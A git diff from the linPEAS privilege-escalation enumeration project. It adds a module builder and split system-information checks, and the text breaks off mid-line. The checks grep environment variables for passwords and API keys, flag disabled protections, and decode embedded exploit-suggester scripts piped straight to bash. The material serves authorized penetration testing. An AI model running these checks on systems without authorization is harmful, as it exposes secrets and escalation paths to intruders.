![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to privilege escalation. -The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for: -- Common processes run by root -- Common not interesting devices to mount -- Not dangerous fstab permissions -- SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version) -- Common .sh files in path -- Common names of users executing processes -- Common cronjobs +- The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for known good configurations (based on the name not on the conten!) -The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for: -- Users without shell -- Mounted devices +- The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for: Users without shell & Mounted devices -The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for: -- Users with shell +- The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for: Users with shell -The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for: -- Current username +- The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for: Current username
    @@ -223,13 +201,12 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s ## Collaborate -If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues) or you can submit a pull request**. +If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**. -If you find any issue, please report it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues)**. +If you find any issue, please report it using **[github issues](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/issues)**. **Linpeas** is being **updated** every time I find something that could be useful to escalate privileges. ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. - diff --git a/linPEAS/builder/README.md b/linPEAS/builder/README.md new file mode 100644 index 0000000..027add9 --- /dev/null +++ b/linPEAS/builder/README.md @@ -0,0 +1,78 @@ +# Build you own linpeas! + +You can **build you own linpeas which will contain only the checks you want**. This is useful to reduce the time it takes to run linpeas and to make linpeas more stealth and modular. + +## Quick start building linpeas.sh + +It's possible to indicate the params `--all`, `--all-no-fat` and `--small` to build the classic `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh`: + +- **linpeas_fat.sh**: Contains all checks, even third party applications in base64 embedded. +- **linpeas.sh**: Contains all checks, but only the third party application `linux exploit suggester` is embedded. This is the default `linpeas.sh`. +- **linpeas_small.sh**: Contains only the most *important* checks making its size smaller. + +However, in order to indicate only some specific checks, you can use the `--include` and `--exclude` params. These arguments supports a comma separated list of modules to add or remove from the final linpeas. Note that the matchs are done by checking **if the module path string contains any of the words** indicated in those params. Therefore, if you want to inde all the tests from the `linpeas_parts/3_cloud` it's enough to indicate `--include "cloud"`. Or if you want to include only the check `linpeas_parts/3_cloud/1_Check_if_in_Cloud` you can indicate `--include "Check_if_in_Cloud"`. + +```bash +# Run this commands from 1 level above the builder folder. From here: cd .. +# Build linpeas_fat (linpeas with all checks, even third party applications in base64 embedded) +python3 -m builder.linpeas_builder --all --output /tmp/linpeas_fat.sh + +# Build regular linpeas +python3 -m builder.linpeas_builder --all-no-fat --output /tmp/linpeas.sh + +# Build small linpeas +python3 -m builder.linpeas_builder --small --output /tmp/linpeas_small.sh + +# Build linpeas only with container and cloud checks +python3 -m builder.linpeas_builder --include "container,cloud" --output /tmp/linpeas_custom.sh + +# Build linpeas only with regexes +python3 -m builder.linpeas_builder --include "api_keys_regex" --output /tmp/linpeas_custom.sh + +# Build linpeas only with some specific modules +## You can customize it as much as you want +python3 -m builder.linpeas_builder --include "CPU_info,Sudo_version,Clipboard_highlighted_text" --output /tmp/linpeas_custom.sh + +# Build linpeas excluding some specific modules +python3 -m builder.linpeas_builder --exclude "CPU_info,Sudo_version,Clipboard_highlighted_text" --output /tmp/linpeas_custom.sh +``` + +## How to add new modules + +Adding new modules is very easy. You just need to create a new file in the `linpeas_parts/` folder with the following structure with the bash code to run. Note that every new module should have some specific metadata at the beggining of the file. This metadata is used by the builder to generate the final linpeas. + +Metadata example: + +```bash +# Title: Cloud - Check if in cloud +# ID: CL_Check_if_in_cloud +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the current system is inside a cloud environment +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_aws_codebuild, check_aws_ec2, check_aws_ecs, check_aws_lambda, check_az_app, check_az_vm, check_do, check_gcp, check_ibm_vm, check_tencent_cvm, print_list +# Global Variables: $is_aws_codebuild, $is_aws_ecs, $is_aws_ec2, , $is_aws_lambda, $is_az_app, $is_az_vm, $is_do, $is_gcp_vm, $is_gcp_function, $is_ibm_vm, $is_aws_ec2_beanstalk, $is_aliyun_ecs, $is_tencent_cvm +# Initial Functions: check_gcp, check_aws_ecs, check_aws_ec2, check_aws_lambda, check_aws_codebuild, check_do, check_ibm_vm, check_az_vm, check_az_app, check_aliyun_ecs, check_tencent_cvm +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +``` + +### Metadata parts explained + +- **Title**: Title of the module +- **ID**: Unique identifier of the module. It has to be the same as the filename without the extension and with the section identifier as prefix (in this case `CL`) +- **Author**: Author of the module +- **Last Update**: Last update of the module +- **Description**: Description of the module +- **License**: License of the module +- **Version**: Version of the module +- **Functions Used**: Functions used by the module inside the bash code. If your module is using a function not defined here, linpeas won't be built. +- **Global Variables**: Global variables used by the module inside the bash code. If your module is using a global variable not defined here, linpeas won't be built. +- **Initial Functions**: Functions that are called at the beggining of the module. If your module is using a function not defined here, linpeas won't be built. +- **Generated Global Variables**: Global variables generated (given a relevant value) by the module. If your module is generating a global variable not defined here, linpeas won't be built. +- **Fat linpeas**: Set only as 1 if the module is loading a third party app, if not 0. +- **Small linpeas**: Set as 1 if it's a quick check, if not 0. \ No newline at end of file diff --git a/linPEAS/builder/linpeas_builder.py b/linPEAS/builder/linpeas_builder.py index 04170f1..2ccf344 100644 --- a/linPEAS/builder/linpeas_builder.py +++ b/linPEAS/builder/linpeas_builder.py @@ -5,29 +5,51 @@ from .src.yamlGlobals import FINAL_FAT_LINPEAS_PATH, FINAL_LINPEAS_PATH, TEMPORA import os import stat +import argparse # python3 -m builder.linpeas_builder -def main(): +def main(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules, output): # Load configuration ploaded = PEASLoaded() # Build temporary linpeas_base.sh file - lbasebuilder = LinpeasBaseBuilder() + lbasebuilder = LinpeasBaseBuilder(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules) lbasebuilder.build() # Build final linpeas.sh lbuilder = LinpeasBuilder(ploaded) lbuilder.build() - lbuilder.write_linpeas(FINAL_FAT_LINPEAS_PATH) - lbuilder.write_linpeas(FINAL_LINPEAS_PATH, rm_startswith="FAT_LINPEAS") - os.remove(TEMPORARY_LINPEAS_BASE_PATH) # Remove the built linpeas_base.sh file + lbuilder.write_linpeas(output) + os.remove(TEMPORARY_LINPEAS_BASE_PATH) # Remove the built linpeas_base_temp.sh file - st = os.stat(FINAL_FAT_LINPEAS_PATH) - os.chmod(FINAL_FAT_LINPEAS_PATH, st.st_mode | stat.S_IEXEC) - - st = os.stat(FINAL_LINPEAS_PATH) - os.chmod(FINAL_LINPEAS_PATH, st.st_mode | stat.S_IEXEC) - + st = os.stat(output) + os.chmod(output, st.st_mode | stat.S_IEXEC) if __name__ == "__main__": - main() + parser = argparse.ArgumentParser(description='Build you own linpeas.sh') + parser.add_argument('--all', action='store_true', help='Build linpeas with all modules (linpeas_fat).') + parser.add_argument('--all-no-fat', action='store_true', help='Build linpeas with all modules except fat ones.') + parser.add_argument('--no-network-scanning', action='store_true', help='Build linpeas without network scanning.') + parser.add_argument('--small', action='store_true', help='Build small version of linpeas.') + parser.add_argument('--include', type=str, help='Build linpeas only with the modules indicated you can indicate section names or module IDs).') + parser.add_argument('--exclude', type=str, help='Exclude the given modules (you can indicate section names or module IDs).') + parser.add_argument('--output', required=True, type=str, help='Parth to write the final linpeas file to.') + args = parser.parse_args() + + all_modules = args.all + all_no_fat_modules = args.all_no_fat + no_network_scanning = args.no_network_scanning + small = args.small + include_modules = args.include.split(",") if args.include else [] + include_modules = [m.strip().lower() for m in include_modules] + exclude_modules = args.exclude.split(",") if args.exclude else [] + exclude_modules = [m.strip().lower() for m in exclude_modules] + output = args.output + + # If not all, all-no-fat, small or include, exit + if not args.all and not args.all_no_fat and not args.small and not args.include: + print("You must specify one of the following options: --all, --all-no-fat, --small or --include") + parser.print_help() + exit(1) + + main(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules, output) diff --git a/linPEAS/builder/linpeas_parts/10_api_keys_regex/regexes.sh b/linPEAS/builder/linpeas_parts/10_api_keys_regex/regexes.sh new file mode 100644 index 0000000..539000a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/10_api_keys_regex/regexes.sh @@ -0,0 +1,20 @@ +# Title: API Keys Regex - Regexes +# ID: RX_regexes +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Regexes +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, search_for_regex +# Global Variables: $REGEXES, $TIMEOUT +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then + peass{REGEXES} +else + echo "Regexes to search for API keys aren't activated, use param '-r' " +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/1_system_information.sh b/linPEAS/builder/linpeas_parts/1_system_information.sh deleted file mode 100644 index 3894fe8..0000000 --- a/linPEAS/builder/linpeas_parts/1_system_information.sh +++ /dev/null @@ -1,243 +0,0 @@ -########################################### -#-------------) System Info (-------------# -########################################### - -#-- SY) OS -print_2title "Operative system" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits" -(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," -warn_exec lsb_release -a 2>/dev/null -if [ "$MACPEAS" ]; then - warn_exec system_profiler SPSoftwareDataType -fi -echo "" - -#-- SY) Sudo -print_2title "Sudo version" -if [ "$(command -v sudo 2>/dev/null)" ]; then -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version" -sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED}," -else echo_not_found "sudo" -fi -echo "" - -#--SY) USBCreator -if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then - print_2title "USBCreator" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation" - - pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+") - if [ -z "$pc_version" ]; then - pc_version=$(apt-cache policy policykit-desktop-privileges 2>/dev/null | grep -oP "\*\*\*.*" | cut -d" " -f2) - fi - if [ -n "$pc_version" ]; then - pc_length=${#pc_version} - pc_major=$(echo "$pc_version" | cut -d. -f1) - pc_minor=$(echo "$pc_version" | cut -d. -f2) - if [ "$pc_length" -eq 4 ] && [ "$pc_major" -eq 0 ] && [ "$pc_minor" -lt 21 ]; then - echo "Vulnerable!!" | sed -${E} "s,.*,${SED_RED}," - fi - fi -fi -echo "" - -#-- SY) PATH - -print_2title "PATH" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses" -if ! [ "$IAMROOT" ]; then - echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" -fi - -if [ "$DEBUG" ]; then - echo "New path exported: $PATH" -fi -echo "" - -#-- SY) Date -print_2title "Date & uptime" -warn_exec date 2>/dev/null -warn_exec uptime 2>/dev/null -echo "" - -#-- SY) System stats -if [ "$EXTRA_CHECKS" ]; then - print_2title "System stats" - (df -h || lsblk) 2>/dev/null || echo_not_found "df and lsblk" - warn_exec free 2>/dev/null - echo "" -fi - -#-- SY) CPU info -if [ "$EXTRA_CHECKS" ]; then - print_2title "CPU info" - warn_exec lscpu 2>/dev/null - echo "" -fi - -if [ -d "/dev" ] || [ "$DEBUG" ] ; then - print_2title "Any sd*/disk* disk in /dev? (limit 20)" - ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${SED_RED}," | head -n 20 - echo "" -fi - -if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then - print_2title "Unmounted file-system?" - print_info "Check if you can mount umounted devices" - grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" - echo "" -fi - -if ([ "$(command -v diskutil)" ] || [ "$DEBUG" ]) && [ "$EXTRA_CHECKS" ]; then - print_2title "Mounted disks information" - warn_exec diskutil list - echo "" -fi - -if [ "$(command -v smbutil)" ] || [ "$DEBUG" ]; then - print_2title "Mounted SMB Shares" - warn_exec smbutil statshares -a - echo "" -fi - -#-- SY) Environment vars -print_2title "Environment" -print_info "Any private information inside environment variables?" -(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set" -echo "" - -#-- SY) Dmesg -if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then - print_2title "Searching Signature verification failed in dmesg" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed" - (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg" - echo "" -fi - -#-- SY) Kernel extensions -if [ "$MACPEAS" ]; then - print_2title "Kernel Extensions not belonging to apple" - kextstat 2>/dev/null | grep -Ev " com.apple." - - print_2title "Unsigned Kernel Extensions" - macosNotSigned /Library/Extensions - macosNotSigned /System/Library/Extensions -fi - -if [ "$(command -v bash 2>/dev/null)" ]; then - print_2title "Executing Linux Exploit Suggester" - print_info "https://github.com/mzet-/linux-exploit-suggester" - les_b64="peass{LES}" - echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g" - echo "" -fi - -if [ "$(command -v perl 2>/dev/null)" ]; then - print_2title "Executing Linux Exploit Suggester 2" - print_info "https://github.com/jondonas/linux-exploit-suggester-2" - les2_b64="peass{LES2}" - echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g" - echo "" -fi - -if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null)" ]; then - print_2title "Brew Doctor Suggestions" - brew doctor - echo "" -fi - - - -#-- SY) AppArmor -print_2title "Protections" -print_list "AppArmor enabled? .............. "$NC -if [ "$(command -v aa-status 2>/dev/null)" ]; then - aa-status 2>&1 | sed "s,disabled,${SED_RED}," -elif [ "$(command -v apparmor_status 2>/dev/null)" ]; then - apparmor_status 2>&1 | sed "s,disabled,${SED_RED}," -elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then - ls -d /etc/apparmor* -else - echo_not_found "AppArmor" -fi - -#-- SY) AppArmor2 -print_list "AppArmor profile? .............. "$NC -(cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed "s,kernel,${SED_GREEN}," - -#-- SY) LinuxONE -print_list "is linuxONE? ................... "$NC -( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x") - -#-- SY) grsecurity -print_list "grsecurity present? ............ "$NC -( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity") - -#-- SY) PaX -print_list "PaX bins present? .............. "$NC -(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX") - -#-- SY) Execshield -print_list "Execshield enabled? ............ "$NC -(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED}," - -#-- SY) SElinux -print_list "SELinux enabled? ............... "$NC -(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," - -#-- SY) Seccomp -print_list "Seccomp enabled? ............... "$NC -([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," - -#-- SY) AppArmor -print_list "User namespace? ................ "$NC -if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi - -#-- SY) cgroup2 -print_list "Cgroup2 enabled? ............... "$NC -([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," - -#-- SY) Gatekeeper -if [ "$MACPEAS" ]; then - print_list "Gatekeeper enabled? .......... "$NC - (spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," - - print_list "sleepimage encrypted? ........ "$NC - (sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no - - print_list "XProtect? .................... "$NC - (system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no - - print_list "SIP enabled? ................. "$NC - csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no - - print_list "Connected to JAMF? ........... "$NC - warn_exec jamf checkJSSConnection - - print_list "Connected to AD? ............. "$NC - dsconfigad -show && echo "" || echo_no -fi - -#-- SY) ASLR -print_list "Is ASLR enabled? ............... "$NC -ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null) -if [ -z "$ASLR" ]; then - echo_not_found "/proc/sys/kernel/randomize_va_space"; -else - if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi - echo "" -fi - -#-- SY) Printer -print_list "Printer? ....................... "$NC -(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null - -#-- SY) Running in a virtual environment -print_list "Is this a virtual machine? ..... "$NC -hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor) -if [ "$(command -v systemd-detect-virt 2>/dev/null)" ]; then - detectedvirt=$(systemd-detect-virt) - if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi -else - if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi -fi diff --git a/linPEAS/builder/linpeas_parts/1_system_information/10_Enviroment.sh b/linPEAS/builder/linpeas_parts/1_system_information/10_Enviroment.sh new file mode 100644 index 0000000..2a952bd --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/10_Enviroment.sh @@ -0,0 +1,19 @@ +# Title: System Information - Enviroment +# ID: SY_Enviroment +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get Information inside environment variables +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Environment" +print_info "Any private information inside environment variables?" +(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set" +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh b/linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh new file mode 100644 index 0000000..8cbf956 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh @@ -0,0 +1,21 @@ +# Title: System Information - Dmesg +# ID: SY_Dmesg +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching Signature verification failed in dmesg +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$(command -v dmesg 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then + print_2title "Searching Signature verification failed in dmesg" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed" + (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg" + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/1_system_information/12_Macos_os_checks.sh b/linPEAS/builder/linpeas_parts/1_system_information/12_Macos_os_checks.sh new file mode 100644 index 0000000..59bdf32 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/12_Macos_os_checks.sh @@ -0,0 +1,31 @@ +# Title: System Information - MacOS OS checks +# ID: SY_Macos_os_checks +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Macos OS checks +# License: GNU GPL +# Version: 1.0 +# Functions Used:macosNotSigned, print_2title +# Global Variables: $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ]; then + print_2title "Kernel Extensions not belonging to apple" + kextstat 2>/dev/null | grep -Ev " com.apple." + echo "" + + print_2title "Unsigned Kernel Extensions" + macosNotSigned /Library/Extensions + macosNotSigned /System/Library/Extensions + echo "" +fi + +if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null || echo -n '')" ]; then + print_2title "Brew Doctor Suggestions" + brew doctor + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/1_system_information/13_Linux_exploit_suggester.sh b/linPEAS/builder/linpeas_parts/1_system_information/13_Linux_exploit_suggester.sh new file mode 100644 index 0000000..1278f2a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/13_Linux_exploit_suggester.sh @@ -0,0 +1,22 @@ +# Title: System Information - Linux Exploit Suggester +# ID: SY_Linux_exploit_suggester +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Linux Exploit Suggester tool execution +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $MACPEAS +# Initial Functions: +# Generated Global Variables: $les_b64 +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$(command -v bash 2>/dev/null || echo -n '')" ] && ! [ "$MACPEAS" ]; then + print_2title "Executing Linux Exploit Suggester" + print_info "https://github.com/mzet-/linux-exploit-suggester" + les_b64="peass{https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh}" + echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s/\[(CVE-[0-9]+-[0-9]+,?)+\].*/${SED_RED}/g" + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/1_system_information/14_Linux_exploit_suggester_2.sh b/linPEAS/builder/linpeas_parts/1_system_information/14_Linux_exploit_suggester_2.sh new file mode 100644 index 0000000..4d03955 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/14_Linux_exploit_suggester_2.sh @@ -0,0 +1,22 @@ +# Title: System Information - Linux Exploit Suggester 2 +# ID: SY_Linux_exploit_suggester_2 +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Linux Exploit Suggester 2 tool execution +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: +# Initial Functions: +# Generated Global Variables: $les2_b64 +# Fat linpeas: 1 +# Small linpeas: 0 + + +if [ "$(command -v perl 2>/dev/null || echo -n '')" ] && ! [ "$MACPEAS" ]; then + print_2title "Executing Linux Exploit Suggester 2" + print_info "https://github.com/jondonas/linux-exploit-suggester-2" + les2_b64="peass{https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl}" + echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -iE "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g" + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/1_system_information/15_Protections.sh b/linPEAS/builder/linpeas_parts/1_system_information/15_Protections.sh new file mode 100644 index 0000000..07c8f03 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/15_Protections.sh @@ -0,0 +1,115 @@ +# Title: System Information - Kernel Extensions +# ID: SY_Protections +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Kernel Extensions +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_list, warn_exec +# Global Variables: +# Initial Functions: +# Generated Global Variables: $ASLR, $hypervisorflag, $detectedvirt +# Fat linpeas: 0 +# Small linpeas: 0 + + +#-- SY) AppArmor +print_2title "Protections" +print_list "AppArmor enabled? .............. "$NC +if [ "$(command -v aa-status 2>/dev/null || echo -n '')" ]; then + aa-status 2>&1 | sed "s,disabled,${SED_RED}," +elif [ "$(command -v apparmor_status 2>/dev/null || echo -n '')" ]; then + apparmor_status 2>&1 | sed "s,disabled,${SED_RED}," +elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then + ls -d /etc/apparmor* +else + echo_not_found "AppArmor" +fi + +#-- SY) AppArmor2 +print_list "AppArmor profile? .............. "$NC +(cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed 